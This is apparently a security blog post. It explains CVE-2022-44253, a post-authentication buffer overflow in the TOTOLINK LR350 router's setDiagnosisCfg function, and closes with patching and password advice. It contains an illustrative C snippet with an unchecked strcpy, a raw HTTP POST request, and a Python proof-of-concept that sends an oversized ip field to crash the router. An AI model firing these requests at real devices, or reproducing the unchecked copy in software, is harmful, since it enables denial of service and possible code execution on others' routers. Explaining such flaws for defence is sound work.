In 2022, security researchers uncovered a frightening flaw in the TOTOLINK LR350 router, model V9.3.5u.6369_B20220309. The vulnerability, CVE-2022-44253, is a post-authentication buffer overflow that lets hackers crash the router—or even execute their own code—by sending a specially crafted payload. Here, we’ll break down what this means, how it works, and what users need to look out for.

What Is CVE-2022-44253?

In simple terms, a *buffer overflow* is when an application writes more data to a block of memory (“buffer”) than it can hold. If hackers can control what gets written, they can sometimes take over the device.

CVE-2022-44253 specifically impacts the “setDiagnosisCfg” function in the web management interface of the TOTOLINK LR350. This function has a parameter called ip that expects an IP address. The problem? No proper bounds checking is done on the parameter. If someone is logged into the admin panel (even with weak credentials), they can send a very long string for ip and trigger an overflow.

Where Did The News Break?

Researchers at VulnLab and CVE Details first catalogued this vulnerability. The official NVD entry is here.

Vulnerable Code: What Went Wrong?

While TOTOLINK has not open-sourced their firmware, researchers reverse engineered the binary and documented patterns that lead to the bug. Here’s a simple, “lookalike” example in C to show how the vulnerability happens. This is not real TOTOLINK code but demonstrates the common pitfall:

void setDiagnosisCfg(char *ip) {
    char buf[64]; // Only enough space for 63 chars + null byte

    // Dangerous! No bounds check on ip length
    strcpy(buf, ip); // If 'ip' is too long, it overwrites memory

    // ... do something with buf ...
}

If someone submits a request with a form field ip that is larger than 64 bytes, the extra characters “spill over” and overwrite other memory. This can crash the router, or if crafted precisely, let an attacker run their own code.

How Is CVE-2022-44253 Exploited?

1. You must be authenticated  
This means you need a username and password for the web management panel. Unfortunately, lots of users never change the default password, so attackers can often guess it.

2. Find the Vulnerable Request

The router has a function for diagnostic settings—something like this in the HTTP POST request

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: [router IP]
Cookie: [valid session cookie]
Content-Type: application/x-www-form-urlencoded

fn=setDiagnosisCfg&ip=AAAA...[lots of As]

3. Send the Exploit Payload
Attackers send a super-long value for ip, up to hundreds of bytes, to overflow the buffer.

Example Python Code (for educational purposes only!)

import requests

# Change the following to actual values
router_ip = "192.168..1"
session_cookie = "SSID=XXXXXX"
long_ip = "A" * 256  # 256 As, definitely longer than expected

data = {
    'fn': 'setDiagnosisCfg',
    'ip': long_ip
}

headers = {
    "Cookie": session_cookie,
    "Content-Type": "application/x-www-form-urlencoded"
}

r = requests.post(f"http://{router_ip}/cgi-bin/cstecgi.cgi";,
                  data=data, headers=headers)

print(f"Status code: {r.status_code}")
print(r.text)

If the router becomes unstable, restarts, or behaves oddly, chances are that the buffer overflow has fired.

Attackers could crash your router remotely (Denial of Service).

- In some scenarios, skilled attackers may be able to run actual code of their own (“remote code execution”).
- Since it’s post-auth, it’s less likely to be attacked from the internet—but if your credentials are weak or reused, you’re at risk.

References and Further Reading

- NVD entry for CVE-2022-44253
- Exploit-DB - Example writeup
- CVE Details Info Page
- Totolink official site - firmware
- OWASP: Buffer Overflow

Update Firmware:

TOTOLINK often releases updated firmware after a vulnerability goes public. Check here.

Change Default Credentials:

NEVER use admin/admin or any default combos. Use a long, unique password.

Final Word

CVE-2022-44253 is another reminder that the small devices in our homes and offices can become big vulnerabilities. By keeping your firmware up to date and your passwords strong, you make yourself a much smaller target for hackers looking to exploit these sorts of bugs.

If you’re a researcher or sysadmin, check your network for vulnerable routers and urge users to patch. For the rest of us: Update your gear and stay safe!


*This post is a simple summary for educational purposes. Misusing these details for unauthorized access is illegal and unethical. Always disclose bugs responsibly.*

Timeline

Published on: 11/23/2022 16:15:00 UTC
Last modified on: 11/26/2022 03:43:00 UTC